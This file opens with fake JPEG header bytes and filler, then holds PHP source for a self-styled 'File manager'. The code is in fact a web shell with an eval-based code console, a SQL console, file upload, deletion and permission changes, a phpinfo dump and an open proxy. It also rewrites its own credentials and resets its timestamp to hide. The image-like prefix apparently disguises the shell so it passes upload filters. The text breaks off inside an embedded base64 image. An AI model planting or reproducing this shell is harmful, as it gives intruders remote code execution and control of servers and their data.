(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUl